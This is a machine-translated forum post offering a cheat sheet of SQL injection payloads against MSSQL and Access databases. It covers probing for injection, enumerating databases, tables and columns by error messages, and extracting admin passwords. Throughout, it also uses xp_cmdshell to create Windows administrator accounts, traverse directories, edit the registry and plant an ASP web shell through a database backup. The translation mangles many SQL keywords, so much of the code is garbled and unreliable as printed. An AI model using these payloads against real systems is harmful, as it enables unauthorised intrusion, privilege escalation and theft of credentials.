See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 14167|Vastuse: 0

[Turvaline suhtlus] SQL-i süstimise levinud avaldused

[Kopeeri link]
Postitatud 22.11.2014 17:17:21 | | |
1. Määra, kas süst on olemas
; ja 1=1
; ja 1=2

2. Eelotsus selle kohta, kas see on mssql
; ja kasutaja>0

3. Hinda andmebaasisüsteemi
; ja (select count(*) sysobjectsist)>0 mssql
; ja (select count(*) msysobjectsist)>0 ligipääs

4. Süstimisparameeter on tegelane
'ja [päringukriteeriumid] ja ''='

5. Otsingu ajal ei ole filtreeritud parameetreid
'ja [päringukriteeriumid] ja '%25'='

6. Arva laua nimi ära
; ja (vali Count(*) [tabeli nimi])>0

7. Arva välja väli
; ja (vali Count(välja nimi) tabeli nimest)>0

8. Arva väljal oleva rekordi pikkus
; ja (vali tabeli nimest ülemine 1 objektiiv (välja nimi)>0

9. (1) Arva välja ASCII väärtus (ligipääs)
; ja (vali laua nimest top 1 ASC(mid(väljanimi, 1,1)))>0

(2) Arva välja ASCII väärtus (mssql)
; ja (vali top 1 unicode(substring(välja nimi,1,1)) tabeli nimest)>0

10. Testilubade struktuur (mssql)
; ja 1=(vali IS_SRVROLEMEMBER('süsteemiadministraator')); --
; ja 1=(vali IS_SRVROLEMEMBER('serveradmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('setupadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('securityadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('diskadmin')); --
; ja 1=(vali IS_SRVROLEMEMBER('bulkadmin')); --
; ja 1=(vali IS_MEMBER('db_owner')); --

11. Lisa konto mssql-i ja süsteemi jaoks
; juht master.dbo.sp_addlogin kasutajanimi; --
; exec master.dbo.sp_password null, kasutajanimi, parool; --
; juht master.dbo.sp_addsrvrolemember süsteemiadministraatori kasutajanimi; --
; Exec master.dbo.xp_cmdshell 'Net User Username Password /Workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'netikasutaja kasutajanimi parool /lisa'; --
; Exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators kasutajanimi /add'; --

12. (1) Kataloogi läbimine
; Loo tabel dirs(teed: varchar(100), id int)
; Lisa DIRS-i juht master.dbo.xp_dirtree 'c:\'
; ja (vali DIRS-ist Top 1 rajad)>0
; ja (vali DIR-idest top 1 teed, kus teed ei ole ('teed, mis on saadud eelmisest sammust')))>)

(2) Kataloogi läbimine
; loo tabel temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; sisesta temp exec master.dbo.xp_availablemedia; -- Hangi kõik praegused kettad
; sisesta temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Hangi nimekiri alamkataloogidest
; sisesta temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hangi kõigi alamkataloogide kataloogipuu struktuur
; sisesta temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Vaata faili sisu

13. Salvestatud protseduurid mssql-is
xp_regenumvalues Registri juurvõti, lapsvõti
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' tagastab kõik võtmeväärtused mitmes kirjekogus
xp_regread Juurvõti, lapsvõti, võtme-väärtuse nimi
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' tagastab seadistusvõtme väärtuse
xp_regwrite Juurvõti, lapsvõti, väärtuse nimi, väärtuse tüüp, väärtus
On kahte tüüpi väärtustüüpe REG_SZ REG_DWORD tähemärkide tüübid ja täisarvud
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' registrile
xp_regdeletevalue Juurvõti, alamvõti, väärtuse nimi
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', et eemaldada väärtus
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', et eemaldada võti, sealhulgas kõik selle võtme all olevad väärtused

14. MSSQL varukoopia loob veebishelli
Kasutusmudel
loo tabel cmd(str image);
sisesta cmd(str) väärtustesse ('<% Dim oScript %>');
varundusandmebaasi mudel disk='c:\l.asp';

15. mssql sisseehitatud funktsioonid
; ja (vali @@version)>0, et saada Windowsi versiooninumber
; ja user_name()='dbo', et määrata, kas praeguse süsteemi ühendatud kasutaja on SA
; ja (vali user_name()))>0 Plahvatas praeguse süsteemi ühendatud kasutajad
; ja (vali db_name()))>0, et saada hetkel ühendatud andmebaas



MSSQL käsitsi annoteeritud andmebaasi rikkumine

1. Paljasta praegune tabeli nimi ja veeru nimi
Esita süstimispunkti järel "'having 1=1--", et saada inglise keeles tagasiteade, kus näed tabeli ja veeru nime. Esita "grupp nimekirja nime järgi, millel on 1=1--", et saada veel üks veeru nimi; Jätka esitamist "grupp paljastatud tabeli nime ja paljastatud tabeli nime järgi. Teise veeru nimi on 1=1--", mis annab teise veeru nime. Commit samamoodi, kuni leht enam veateateid ei tagasta, et saada kõik veergude nimed. Tõsiasi: Vägivaldseid tabelinimesid ja veergunimesid kasutatakse koos GROUP BY-ga SQL-lausetes, et teha tingimuslikke hinnanguid. Kuna väide on puudulik, tagastab andmebaas veateate ning kuvab tabeli nime ja veeru nime. Põhimeetod suudab andmebaasis avada ainult praeguse tabeli ning kui tabel sisaldab palju veergunimesid, on põhimeetodi kasutamine väga keeruline.

Esiteks. Kõik andmebaasi nimed on nähtavad
Kasuta lauset "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])", et kuvada andmebaasis suvalised tabelite ja veergude nimed, kus "[N]" tähistab andmebaasis N-ndat tabelit.
1. samm: Pärast punkti süstimist esita järgmine lause: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", sest dbid väärtus on 1 kuni 5, mida süsteem kasutab, seega peab kasutaja selle ehitama 6-st ja me esitasime nime>1, nimeväli on tähemärgi tüüpi väli ja numbrivõrdlus on vale, seega pärast esitamist tagastab IE järgmise info: "Microsoft OLE DB Provider for ODBC Drivers, error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] teisendab nvarchar väärtuse 'Northwind' andmetüübiks int veerg. Nii avaneb nimevälja väärtus, st saame andmebaasi nime "Northwind". "dbid" väärtuse muutmine võib saada kõik andmebaasi nimed.

ja 0<>(select count(*) master.dbo.sysdatabases, kus name>1 ja dbid=[N])-- Muuda N, et plahvatada kõik andmebaasi nimed 6-st


Teiseks. Kuva kõik tabelinimed määratud andmebaasis
Pärast andmebaasi nime saamist pead nüüd koguma kõik tabelinimed teeki, esitama järgmise lause: "and 0<>(select top 1 name from master.dbo.sysobjects, where xtype='U')", siin on tabeli nimi master-andmebaasis ning päringu SQL lause tagastab nime väärtuse ning võrdle seda numbriga 0, et nime väärtus oleks nähtav. Pärast esitamist paljastati laua nimi "'spt_monito".
Seejärel kuvatakse teised tabelid ja esitatakse järgmine lause: "and 0<>(select top 1 name from master.dbo.sysobjects, where xtype='U' and name not in('spt_monito')))", ning teine tabel nimega "cd512" avatakse. Fail "and name not in(' spt_monito',' CD512',..))" Saad teada kõik tabelinimed.

ja 0<>(vali top 1 nimi [täpsusta andmebaasi nimi].dbo.sysobjects, kus xtype='U')--
ja 0<>(vali top 1 nimi [specify database name].dbo.sysobjects, kus xtype='U' ja name not in('[Exploded table name]')))--
ja 0<>(vali ülemine 1 nimi [täpsusta andmebaasi nimi].dbo.sysobjects, kus xtype='U' ja nimi ei ole sees('[Plahvatusohtlik tabelinimi]', '[Plahvatatud teine tabeli nimi]'))))--

4. Kuva kõik veeru nimed määratud tabelis
ja 0<>(vali count(*) bbs.dbo.sysobjectsist, kus xtype='U' ja name='admin' ning uid>(str(id)))
Teisenda ID väärtus tähemärgitüübiks ja võrdle seda täisarvulise väärtusega. ID-number on väljas. Väärtus on: 949578421 name='tabeli nimi'

ja 0<>(vali top 1 nimi wutong.dbo.syscolumnsist, kus id=949578421)-- Välja nimi admin tabelis on nähtav

Esita uuesti ja 0<>(vali top 1 nimi wutong.dbo.syscolumnsist, kus id=949578421 ja nimi not in('adduser')))--
Fail "and name not in(' spt_monito',' CD512',..))" Kõik väljade nimed leiad administraatori tabelist.


ja 0<>(vali count(*) [specify database name].dbo.sysobjects, kus xtype='U' ja name='[Plahvatava välja tabeli nimi]' ning uid>(str(id)))--Plahvatatava välja tabeli nime ID väärtus

ja 0<>(vali ülemine 1 nimi [täpsusta andmebaasi nimi].dbo.syscolumns, kus id=plahvatanud id väärtus)-- Välja nimi plahvatava id väärtustabelis

ja 0<>(vali top 1 nimi [specify database name].dbo.syscolumns, kus id=Explosive id value and name not in('[Exploded field name]'))))--



5. Loe andmeid määratud tabelis

ja 0<(vali A_ID wutong.dbo.admin lehelt, kus A_UserID>1) – sisu, mis rikkus A_PWD

ja 0<(vali [eksisteeriv väli] [sisesta andmebaasi nimi].dbo.[tabeli nimi päringule] kus [välja nimi sisu plahvatamiseks]>1)--

ja 0<(vali A_ID wutong.dbo.administ, kus A_PWD>1 ja A_UserID='admin')-- Admini parool on nähtav


ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID<>1)-- Administraatori nimi id<>1 (fuhao)

ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID <>1 ja A_UserID <> 'fuhao')-- Teise administraatori nimi <> võrdne (tuiguangiga)

ja 0<(Vali Top 1 A_UserID FROM admin, kus A_ID <>1 ja A_UserID <> 'fuhao' ja A_UserID <> 'tuiguang')--

Kui oled teadnud andmebaasi tabeli ja veeru nime, saad kasutada "päringulauset", et lugeda andmebaasis olevat infot. Näiteks, kui soovid lugeda tabeli veerus N-ndat andmet, saad esitada lause: "and (Select Top 1 column name from table name, where id=[N])>1" ([N] tähistab veerus N-ndat andmet), ning saad soovitud andmeid IE poolt tagastatud info põhjal.






Eelmine:Kuidas peita tihendatud rar-faili jpg-faili
Järgmine:Kogu "Harry Potter" 1~7 Võta see välja ja jaga Kui sulle ei meeldi, ära pritsi seda
Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com